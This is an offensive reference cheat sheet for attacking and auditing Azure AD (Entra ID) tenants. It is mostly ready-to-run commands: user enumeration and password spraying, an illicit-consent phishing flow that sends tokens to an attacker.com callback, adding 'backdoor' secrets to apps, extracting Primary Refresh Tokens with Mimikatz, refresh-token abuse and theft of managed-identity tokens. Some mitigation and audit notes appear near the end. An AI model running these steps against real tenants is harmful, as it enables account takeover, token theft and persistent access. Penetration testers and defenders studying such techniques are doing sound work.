AZURE-AD-SECURITY
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
A practical reference for enumerating, attacking, and auditing Azure Active Directory (Entra ID) environments.
TENANT ENUMERATION & RECON#
# Check if a domain uses Azure AD https://login.microsoftonline.com/getuserrealm.srf?login=user@target.com&xml=1 # Enumerate tenant ID from domain https://login.microsoftonline.com/<domain>/.well-known/openid-configuration # Use AADInternals for recon Install-Module AADInternals Import-Module AADInternals Invoke-AADIntReconAsOutsider -DomainName target.com # Enumerate users via Teams API (no auth required) python3 TeamsUserEnum.py -U userlist.txt -d target.com # Check for open Azure Blob Storage https://<storageaccount>.blob.core.windows.net/<container>?restype=container&comp=list # Enumerate subdomains and services python3 cloud_enum.py -k target -k target.com # MSOLSpray for password spraying (use with caution) Invoke-MSOLSpray -UserList users.txt -Password "Spring2026!" -Verbose
CONSENT GRANT ATTACKS (ILLICIT CONSENT)#
# Attack flow: # 1. Register a multi-tenant app in attacker tenant # 2. Configure dangerous permissions (Mail.Read, Files.ReadWrite.All) # 3. Send phishing link to victim user # 4. User consents, attacker gains delegated access # Craft OAuth authorization URL https://login.microsoftonline.com/common/oauth2/v2.0/authorize? client_id=<attacker_app_id>& response_type=code& redirect_uri=https://attacker.com/callback& scope=https://graph.microsoft.com/.default& response_mode=query # After consent, exchange code for tokens POST https://login.microsoftonline.com/common/oauth2/v2.0/token grant_type=authorization_code& code=<auth_code>& client_id=<app_id>& client_secret=<secret>& redirect_uri=https://attacker.com/callback # Detection: Look for OAuth2PermissionGrant events in audit logs # Mitigation: Set "User consent for applications" to "Do not allow" # Azure Portal > Enterprise Applications > Consent and permissions
APP REGISTRATION ABUSE#
# List all app registrations (authenticated)
az ad app list --all --query "[].{Name:displayName, AppId:appId}" -o table
# Find apps with high-privilege API permissions
az ad app list --all --query "[?requiredResourceAccess[?resourceAccess[?type=='Role']]]" -o json
# Find apps with credentials (client secrets / certificates)
az ad app list --all --query "[?passwordCredentials || keyCredentials].{Name:displayName, AppId:appId}" -o table
# Add credentials to existing app (if you have Application.ReadWrite.All)
az ad app credential reset --id <app-object-id> --append
# Abuse: If you own an app with high permissions, add a new secret
az ad app credential reset --id <app-id> --credential-description "backdoor" --append
# Find service principals with dangerous permissions
az ad sp list --all --query "[?appRoleAssignments]" -o json
# Check for apps with owner but no admin consent required
Get-AzureADApplication | ForEach-Object {
$owners = Get-AzureADApplicationOwner -ObjectId $_.ObjectId
if ($owners) { Write-Output "$($_.DisplayName) - Owner: $($owners.UserPrincipalName)" }
}
CONDITIONAL ACCESS BYPASS#
# Enumerate Conditional Access policies (requires policy reader role) az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" # Common bypass techniques: # 1. Legacy authentication protocols (POP, IMAP, SMTP) may bypass MFA # Use tools like MailSniper with basic auth # 2. Device compliance bypass - use a compliant device or spoof device ID # 3. Location-based bypass - use VPN in trusted IP range # 4. Platform exclusion - if policy targets Windows, try Linux/Mac # 5. Application exclusion - target apps not covered by CA policies # Test for legacy auth support python3 MSOLSpray.py -u users.txt -p password -url https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml # Check named locations az rest --method GET --url "https://graph.microsoft.com/v1.0/identity/conditionalAccess/namedLocations"
PRIMARY REFRESH TOKEN (PRT) ABUSE#
# PRT is a JWT used for SSO across Azure AD joined devices # If you compromise a device, you can extract the PRT # Check if device is Azure AD joined dsregcmd /status # Extract PRT using Mimikatz mimikatz.exe "privilege::debug" "sekurlsa::cloudap" "exit" # Extract PRT cookie using ROADtoken ROADtoken.exe # Use PRT with ROADtools to authenticate roadtx prt -c <prt_cookie> roadtx browserprtauth --prt-cookie <prt_cookie> --url https://portal.azure.com # Request access tokens using PRT roadtx prtauth --prt <prt> --prt-session-key <session_key> --resource https://graph.microsoft.com # Pass-the-PRT: Use PRT cookie in browser # Chrome DevTools > Application > Cookies > Add x-ms-RefreshTokenCredential
AZUREHOUND (BLOODHOUND FOR AZURE)#
# Install AzureHound Download from: https://github.com/BloodHoundAD/AzureHound/releases # Collect data with AzureHound ./azurehound -r <tenant-id> -j <output.json> list --tenant <tenant-id> -u user@target.com -p 'password' # Using refresh token ./azurehound -r <tenant-id> list --tenant <tenant-id> --refresh-token <token> # Import into BloodHound CE # Upload the JSON output via the BloodHound UI # Key attack paths to look for in BloodHound: # - Users with Global Admin path # - Service Principals with RoleManagement.ReadWrite.Directory # - Apps with AppRoleAssignment.ReadWrite.All # - Users who are owners of high-privilege groups
ROADTOOLS#
# Install ROADtools pip install roadtools pip install roadtx # Gather Azure AD data roadrecon auth -u user@target.com -p 'password' roadrecon gather --mfa # If MFA is needed, interactive auth # Dump all data to SQLite database roadrecon gather # Launch web UI for analysis roadrecon gui # Explore with roadrecon plugin roadrecon plugin policies # Dump conditional access policies # ROADtx for token manipulation roadtx gettokens --refresh-token <token> --resource https://graph.microsoft.com roadtx describe <token> # Decode and display token claims roadtx getscope --scope https://graph.microsoft.com/.default
TOKEN MANIPULATION#
# Decode Azure AD JWT token echo "<token>" | cut -d'.' -f2 | base64 -d 2>/dev/null | python3 -m json.tool # Request token using Azure CLI az account get-access-token --resource https://graph.microsoft.com # Request token for different resource az account get-access-token --resource https://management.azure.com az account get-access-token --resource https://vault.azure.net # Use token with Microsoft Graph API curl -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me # Refresh token to access token exchange POST https://login.microsoftonline.com/<tenant>/oauth2/v2.0/token grant_type=refresh_token& refresh_token=<refresh_token>& client_id=<client_id>& scope=https://graph.microsoft.com/.default # FOCI (Family of Client IDs) abuse - use refresh token from one app in another # Microsoft first-party apps share refresh tokens # Get token for Azure CLI, use it for Microsoft Teams client ID roadtx gettokens --refresh-token <token> --client 1fec8e78-bce4-4aaf-ab1b-5451cc387264
SERVICE PRINCIPAL EXPLOITATION#
# List all service principals
az ad sp list --all -o table
# Find SPs with high-privilege directory roles
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles" | jq '.value[] | {displayName, id}'
# Get members of Global Administrator role
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/filterByRoleTemplateId(roleTemplateId='62e90394-69f5-4237-9190-012177145e10')/members"
# Abuse managed identity from compromised Azure resource
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
# Use managed identity token
az login --identity
az account get-access-token
# Add credentials to a service principal you own
az ad sp credential reset --id <sp-object-id> --append
COMMON MISCONFIGURATIONS#
# 1. Overly permissive app permissions (Application vs Delegated) # Check: az ad app list --all --query "[].requiredResourceAccess" # 2. User can register applications (default: YES) # Fix: Azure Portal > User Settings > App registrations = No # 3. User can consent to apps on their behalf # Fix: Enterprise Applications > Consent and permissions > Do not allow # 4. Guest users with excessive permissions az ad user list --filter "userType eq 'Guest'" -o table # 5. No Conditional Access policies for admins # Fix: Require MFA for all admin roles at minimum # 6. Legacy authentication not blocked # Fix: Create CA policy to block legacy auth for all users # 7. Security defaults not enabled (for small orgs) # Check: Azure Portal > Properties > Manage Security defaults # 8. Privileged roles without PIM (Privileged Identity Management) # Fix: Enable PIM for all admin roles, require justification # 9. No access reviews configured # Fix: Enable quarterly access reviews for privileged roles # 10. Unrestricted Azure AD admin portal access # Fix: Restrict Azure AD admin portal to admins only # Audit command summary az ad user list -o table az ad group list -o table az ad app list --all -o table az role assignment list --all -o table az account list -o table
USEFUL TOOLS#
# AADInternals - Azure AD enumeration and exploitation # AzureHound - BloodHound data collector for Azure # ROADtools - Azure AD exploration framework # MSOLSpray - Password spraying tool # TokenTactics - Azure AD token manipulation # GraphRunner - Post-exploitation tool for Microsoft Graph # Stormspotter - Azure AD visualization # ScoutSuite - Multi-cloud security auditing # Prowler - AWS/Azure/GCP security assessment # GraphRunner usage Import-Module .\GraphRunner.ps1 Invoke-GraphRunner Get-GraphTokens Invoke-DumpApps Invoke-DumpCAPS